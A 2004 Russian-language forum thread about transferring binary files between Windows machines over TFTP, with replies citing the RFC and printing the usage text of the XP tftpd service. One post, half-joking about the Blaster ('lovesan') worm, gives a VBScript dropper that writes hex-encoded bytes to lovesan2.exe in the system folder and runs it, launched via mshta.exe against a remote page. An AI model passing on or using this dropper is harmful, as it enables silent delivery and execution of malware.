|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июл 2, 2004 22:32:25 Здравствуйте! Я хочу написать TFTP сервер для передачи бинарных файлов. Как известно, он должен открывать 69 UDP порт. Это всё, что я знаю об TFTP. Подскажите, пожалуйста, формат запроса клиента и ответа сервера. |
|
|
Дата: Июл 2, 2004 22:40:14 а шо RFC уже отменили? faqs.org/rfcs/rfc1350.html |
|
|
Дата: Июл 3, 2004 10:00:11 в XP есть встроенный tftp сервер и клиент, он тебе не подходит? |
|
|
Дата: Июл 3, 2004 10:57:30 там вроде токо client, сервака нету. |
|
|
Дата: Июл 3, 2004 10:59:08 PRO, решил lovesan 2 написать ? :) |
|
|
Дата: Июл 3, 2004 11:13:30 сервак есть, но его надо ручками из дистриба доставать |
|
|
Дата: Июл 3, 2004 12:55:28 Flasher TFTP сервер для передачи бинарных файлов.... Похоже на ловесан Нет, просто надо для перекачки файлов стандартными средствами windows между двумя машинами не по ftp |
|
|
Дата: Июл 3, 2004 13:00:34 Хотя можно ещё по http:
<script language=vbs>
t="4D,5A..."
t=t&"B9,00,03,F3,6E,E8,5C,FF"
...
tmp = Split(t, ",")
Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")
poop = "%systemdir%\lovesan2.exe" ' :)
Set f = fso.CreateTextFile(poop, ForWriting)
For i = 0 To UBound(tmp)
l = Len(tmp(i))
b = Int("&H" & Left(tmp(i), 2))
If l > 2 Then
r = Int("&H" & Mid(tmp(i), 3, l))
For j = 1 To r
f.Write Chr(b)
Next
Else
f.Write Chr(b)
End If
Next
f.Close
runscr=1
if runscr then shell.run(poop)
on error resume next: self.close()
</script>
На одной машине открыть HTTP сервер, на другой mshta.exe http://*.*.*.*/1.htm |
|
|
Дата: Июл 3, 2004 16:27:53 ZENiTH, тода, если не трудно, обясни человеку как достать, да и мне тож интересно... |
|
|
Дата: Июл 3, 2004 16:46:28 я не помню точно, но вот файл из дистров TFTPD.EX_ это сервер, TFTP.EX_ это клиент, распаковываете ну хоть раром, может быть дополнительные файлы понадобятся (импорт посмотрите), как легально его ставить не знаю но если порыться то наверное можно найти |
|
|
Дата: Июл 3, 2004 17:16:48 когда распакуете "tftpd.exe -?" |
|
|
Дата: Июл 3, 2004 17:19:12
C:\WINDOWS\system32>tftpd.exe -?
====================================================================== ==
Abstract:
This implements an RFC 783 tftp daemon.
It listens on port 69 for requests
and spawns a thread to process each request.
TFTPD USAGE and Installation:
md d:/tftpd (the StartDirectory).
copy //MohsinA_p90/test/tftpd.exe .
sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path).
sc query tftpd (check if installed).
Start:
sc start tftpd -f (creates a log file).
or sc start tftpd
or net start tftpd
or sc start tftpd [-dStartDirectory] [-e] [-f]
Options: -e use event log.
-f log to file.
-dStartDirectory
Info:
sc interrogate tftpd (logs will be updated).
sc query tftpd Check whether running.
Stop:
sc stop tftpd
net stop tftpd
Variables that control what files can be read/written and by whom:
StartDirectory - only files there will be accessible.
LogFile is created here.
ValidClients - Clients matching this ip address can read files.
eg. you can set it to "157.55.8?.*"
ValidMasters - clients matching this can write and read files.
eg. you can set it to "" and no one can write.
ValidReadFiles - only matching files will be served out, eg. "r*.t?t"
ValidWriteFiles- only matching files will be accepted, eg. "w*.txt"
Client:
tftp [-i] servername {get|put} src_file dest_file
-i from binary mode, else ascii mode is used.
====================================================================== ==
TFTPD_DEFAULT_DIR is \tftpdroot\
TFTPD_LOGFILE is tftpd.log
Registry key names, all strings: HKEY_LOCAL_MACHINE System\CurrentControlSet\Services\tftpd\parameters
o StartDirectory keyname "directory"
These keys are shell patterns with * and ? (see examples above):
o ValidClients keyname "clients"
o ValidMasters keyname "masters"
o Readable files keyname "readable"
o writable files keyname "writable"
|
|
|
Дата: Июл 3, 2004 20:09:30 ZENiTH, в стандартном виндавозе tftpd - нету, ну покра немери на ХР-инглишь - точно нету. |
|
|
Дата: Июл 4, 2004 08:55:00 Windows XP professional, corporate, build 2600, файл I386\TFTPD.EX_ в дистрах, это более чем стандартная винда, копия оригинальной майкрософтовской болванки, в атаче этот файл 369354736__tftpd.rar |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.072 |